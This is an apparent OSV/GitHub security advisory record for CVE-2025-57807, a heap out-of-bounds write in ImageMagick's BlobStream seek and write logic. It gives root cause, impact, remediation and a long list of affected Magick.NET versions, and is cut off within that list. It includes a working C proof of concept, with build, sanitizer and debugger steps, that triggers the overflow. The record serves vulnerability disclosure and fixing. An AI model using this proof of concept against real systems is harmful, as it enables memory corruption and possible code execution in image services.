{"id":"GHSA-23hg-53q6-hqfg","revision":"62e1e0b5e2a94bef8eea179d118ee337","records":[{"revision":"62e1e0b5e2a94bef8eea179d118ee337","observedAt":"2026-10-23T16:01:25.029+00:00","statement":{"source":"osv","id":"GHSA-23hg-53q6-hqfg","aliases":["CVE-2025-57807"],"title":"ImageMagick BlobStream Forward-Seek Under-Allocation","description":"**Reporter:**\u00A0Lumina Mescuwa  \n**Product:**\u00A0ImageMagick 7 (MagickCore)  \n**Component:**\u00A0`MagickCore/blob.c`\u00A0(Blob I/O - BlobStream)  \n**Tested:**\u00A07.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI  \n**Impact:**\u00A0Heap out-of-bounds\u00A0**WRITE**\u00A0(attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution  \n\n---\n\n## Executive Summary\n\nFor memory-backed blobs (**BlobStream**),\u00A0[`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00A0permits advancing the stream\u00A0**offset**\u00A0beyond the current end without increasing capacity. The subsequent\u00A0[`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00A0then expands by\u00A0**`quantum + length`**\u00A0(amortized) instead of\u00A0**`offset + length`**, and copies to\u00A0`data + offset`. When\u00A0`offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.\n\n---\n\n## Affected Scope\n\n- **Versions confirmed:**\u00A07.1.2-0, 7.1.2-1\n    \n- **Architectures:**\u00A0Observed on macOS arm64; architecture-agnostic on LP64\n    \n- Paths: MagickCore blob subsystem —\u00A0**BlobStream**\u00A0([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00A0and\u00A0[`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)).\n    \n- **Not required:**\u00A0External delegates; special policies; integer wraparound\n    \n\n---\n\n## Technical Root Cause\n\n**Types (LP64):**  \n`offset: MagickOffsetType`\u00A0(signed 64-bit)  \n`extent/length/quantum: size_t`\u00A0(unsigned 64-bit)  \n`data: unsigned char*`\n\n**Contract mismatch:**\n\n- [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00A0(BlobStream) updates\u00A0`offset`\u00A0to arbitrary positions, including past end,\u00A0**without**\u00A0capacity adjustment.\n    \n- [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00A0tests\u00A0`offset + length >= extent`\u00A0and grows\u00A0**by**\u00A0`length + quantum`, doubles\u00A0`quantum`, reallocates to\u00A0`extent + 1`, then:\n    \n    ```\n    q = data + (size_t)offset;\n    memmove(q, src, length);\n    ```\n    \n    There is\u00A0**no guarantee**\u00A0that\u00A0`extent ≥ offset + length`\u00A0post-growth. With\u00A0`offset ≫ extent`,\u00A0`q`\u00A0is beyond the allocation.\n    \n\n**Wrap-free demonstration:**  \nInitialize\u00A0`extent=1`, write one byte (`offset=1`), seek to\u00A0`0x10000000`\u00A0(256 MiB), then write 3–4 bytes. Growth remains <<\u00A0`offset + length`; the copy overruns the heap buffer.\n\n---\n\n## Exploitability & Reachability\n\n- **Primitive:**\u00A0Controlled bytes written at a controlled displacement from the buffer base.\n    \n- **Reachability:**\u00A0Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract\u00A0**permits**\u00A0it, thus creating a latent sink for first- or third-party encoders/writers.\n    \n- **Determinism:**\u00A0Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.\n    \n\n---\n\n## Impact Assessment\n\n- **Integrity:**\u00A0High - adjacent object/metadata overwrite plausible.\n    \n- **Availability:**\u00A0High - reliably crashable (ASan and non-ASan).\n    \n- **Confidentiality:**\u00A0High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.\n    \n- **RCE plausibility:**\u00A0Typical of heap OOB writes in long-lived image services; allocator/layout dependent.\n    \n\n---\n\n## CVSS v3.1 Rationale (9.8)\n\n- **AV:N / PR:N / UI:N**\u00A0- server-side image processing is commonly network-reachable without auth or user action.\n    \n- **AC:L**\u00A0- a single forward seek + write suffices; no races or specialized state.\n    \n- **S:U**\u00A0- corruption localized to the ImageMagick process.\n    \n- **C:H / I:H / A:H**\u00A0- A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).\n    \n\n_Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._\n\n---\n\n## Violated Invariant\n\n> **Before copying\u00A0`length`\u00A0bytes at\u00A0`offset`, enforce\u00A0`extent ≥ offset + length`\u00A0with overflow-checked arithmetic.**\n\nThe BlobStream growth policy preserves amortized efficiency but fails to enforce this\u00A0**per-write**\u00A0safety invariant.\n\n---\n\n## Remediation (Principle)\n\nIn\u00A0[`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00A0(BlobStream case):\n\n1. **Checked requirement:**  \n    `need = (size_t)offset + length;`\u00A0→ if\u00A0`need < (size_t)offset`, overflow → fail.\n    \n2. **Ensure capacity ≥ need:**  \n    `target = MagickMax(extent + quantum + length, need);`  \n    (Optionally loop, doubling\u00A0`quantum`, until\u00A0`extent ≥ need`\u00A0to preserve amortization.)\n    \n3. **Reallocate to\u00A0`target + 1`\u00A0before copying;**\u00A0then perform the move.\n    \n\n**Companion hardening (recommended):**\n\n- Document or restrict\u00A0[`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00A0on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.\n    \n- Centralize blob arithmetic in checked helpers.\n    \n- Unit tests: forward-seek-then-write (success and overflow-reject).\n    \n\n---\n\n## Regression & Compatibility\n\n- **Behavior change:**\u00A0Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).\n    \n- **Memory profile:**\u00A0Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.\n    \n\n---\n\n## Vendor Verification Checklist\n\n- Reproduce with a minimal in-memory BlobStream harness under ASan.\n    \n- Apply fix; verify\u00A0`extent ≥ offset + length`\u00A0at all write sites.\n    \n- Add forward-seek test cases (positive/negative).\n    \n- Audit other growth sites (`SetBlobExtent`, stream helpers).\n    \n- Clarify BlobStream seek semantics in documentation.\n    \n- Unit test: forward seek to large offset on\u00A0**BlobStream**\u00A0followed by 1–8 byte writes; assert either growth to\u00A0`need`\u00A0or clean failure.\n    \n\n---\n\n# PoC / Reproduction / Notes\n\n## Environment\n\n- **OS/Arch:**\u00A0macOS 14 (arm64)\n    \n- **Compiler:**\u00A0clang-17 with AddressSanitizer\n    \n- **ImageMagick:**\u00A0Q16-HDRI\n    \n- **Prefix:**\u00A0`~/opt/im-7.1.2-0`\n    \n- **`pkg-config`:**\u00A0from PATH (no hard-coded\u00A0`/usr/local/...`)\n    \n\n---\n\n## Build ImageMagick 7.1.2-0 (static, minimal)\n\n```bash\n./configure --prefix=\"$HOME/opt/im-7.1.2-0\" --enable-hdri --with-quantum-depth=16 \\\n  --disable-shared --enable-static --without-modules \\\n  --without-magick-plus-plus --disable-openmp --without-perl \\\n  --without-x --without-lqr --without-gslib\n\nmake -j\"$(sysctl -n hw.ncpu)\"\nmake install\n\n\"$HOME/opt/im-7.1.2-0/bin/magick\" -version > magick_version.txt\n```\n\n---\n\n## Build & Run the PoC (memory-backed BlobStream)\n\n**`poc.c`:**  \n_Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._\n\n```c\n// poc.c\n\n#include <stdio.h>\n\n#include <stdlib.h>\n\n#include <MagickCore/MagickCore.h>\n\n#include <MagickCore/blob.h>\n\n#include \"MagickCore/blob-private.h\"\n\n  \n\nint main(int argc, char **argv) {\n\nMagickCoreGenesis(argv[0], MagickTrue);\n\nExceptionInfo *e = AcquireExceptionInfo();\n\nImageInfo *ii = AcquireImageInfo();\n\nImage *im = AcquireImage(ii, e);\n\nif (!im) return 1;\n\n  \n\n// 1-byte memory blob → BlobStream\n\nunsigned char *buf = (unsigned char*) malloc(1);\n\nbuf[0] = 0x41;\n\nAttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0\n\nSetBlobExempt(im, MagickTrue); // don't free our malloc'd buf\n\n  \n\n// Step 1: write 1 byte (creates BlobInfo + sets offset=1)\n\nunsigned char A = 0x42;\n\n(void) WriteBlob(im, 1, &A);\n\nfprintf(stderr, \"[+] after 1 byte: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 2: seek way past end without growing capacity\n\nconst MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB\n\n(void) SeekBlob(im, big, SEEK_SET);\n\nfprintf(stderr, \"[+] after seek: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 3: small write → reallocation grows by quantum+length, not to offset+length\n\n// memcpy then writes to data + offset (OOB)\n\nconst unsigned char payload[] = \"PWN\";\n\n(void) WriteBlob(im, sizeof(payload), payload);\n\n  \n\n// If we get here, it didn't crash\n\nfprintf(stderr, \"[-] no crash; check ASan flags.\\n\");\n\n  \n\n(void) CloseBlob(im);\n\nDestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);\n\nMagickCoreTerminus();\n\nreturn 0;\n\n}\n```\n\n---\n\n`run:`\n\n```bash\n# Use the private prefix for pkg-config\nexport PKG_CONFIG_PATH=\"$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH\"\n\n# Strict ASan for crisp failure\nexport ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'\n\n# Compile (static link pulls transitive deps via --static)\nclang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \\\n  $(pkg-config --cflags MagickCore-7.Q16HDRI) \\\n  $(pkg-config --static --libs MagickCore-7.Q16HDRI)\n\n# Execute and capture\n./poc 2>&1 | tee asan.log\n```\n\n**Expected markers prior to the fault:**\n\n```\n[+] after 1 byte: off=1 len=1\n[+] after seek:  off=268435456 len=1\n```\n\nAn ASan\u00A0**WRITE**\u00A0crash in\u00A0[`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00A0follows (top frames:\u00A0`WriteBlob blob.c:<line>`, then\u00A0`_platform_memmove`\u00A0/\u00A0`__sanitizer_internal_memmove`).\n\n---\n\n## Debugger Verification (manual)\n\nLLDB can be used to snapshot the invariants; ASan alone is sufficient.\n\n```\nlldb ./poc\n(lldb) settings set use-color false\n(lldb) break set -n WriteBlob\n(lldb) run\n\n# First stop (prime write)\n(lldb) frame var length\n(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped\n(lldb) continue\n\n# Second stop (post-seek write)\n(lldb) frame var length\n(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped\n(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length\n(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)\n\n# Into the fault; if inside memmove (no locals):\n(lldb) bt\n(lldb) frame select 1\n(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum\n```\n\n**Expected at second stop:**  \n`type = BlobStream`\u00A0·\u00A0`offset ≈ 0x10000000`\u00A0(256 MiB) ·\u00A0`length ≈ 3–4`\u00A0·\u00A0`extent ≈ 64 KiB`\u00A0(≪\u00A0`offset + length`) ·\u00A0`quantum ≈ 128 KiB`\u00A0·\u00A0`mapped = MagickFalse`\u00A0·\u00A0`data + offset`\u00A0far beyond base; next\u00A0`continue`\u00A0crashes in\u00A0`_platform_memmove`.\n    \n---\n\n## Credits\n\n**Reported by:**\u00A0Lumina Mescuwa\n\n---","state":0,"publishedAt":"2025-09-05T20:09:19+00:00","modifiedAt":"2025-11-03T22:00:48.427544+00:00","affected":[{"ecosystem":"NuGet","name":"Magick.NET-Q16-x64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","6.8.5.1001","6.8.5.401","6.8.5.402","6.8.6.301","6.8.6.601","6.8.6.801","6.8.7.1","6.8.7.101","6.8.7.501","6.8.7.502","6.8.7.901","6.8.8.1001","6.8.8.201","6.8.8.501","6.8.8.701","6.8.8.801","6.8.8.901","6.8.9.1","6.8.9.101","6.8.9.2","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Magick.NET-Q8-x64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","6.8.5.1001","6.8.5.401","6.8.5.402","6.8.6.301","6.8.6.601","6.8.6.801","6.8.7.1","6.8.7.101","6.8.7.501","6.8.7.502","6.8.7.901","6.8.8.1001","6.8.8.201","6.8.8.501","6.8.8.701","6.8.8.801","6.8.8.901","6.8.9.1","6.8.9.101","6.8.9.2","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Magick.NET-Q16-HDRI-x64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","6.8.9.101","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Magick.NET-Q8-OpenMP-x64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Magick.NET-Q16-HDRI-OpenMP-x64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Magick.NET-Q16-OpenMP-x64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Magick.NET-Q8-arm64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Magick.NET-Q16-arm64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Magick.NET-Q16-OpenMP-arm64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Magick.NET-Q8-OpenMP-arm64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","1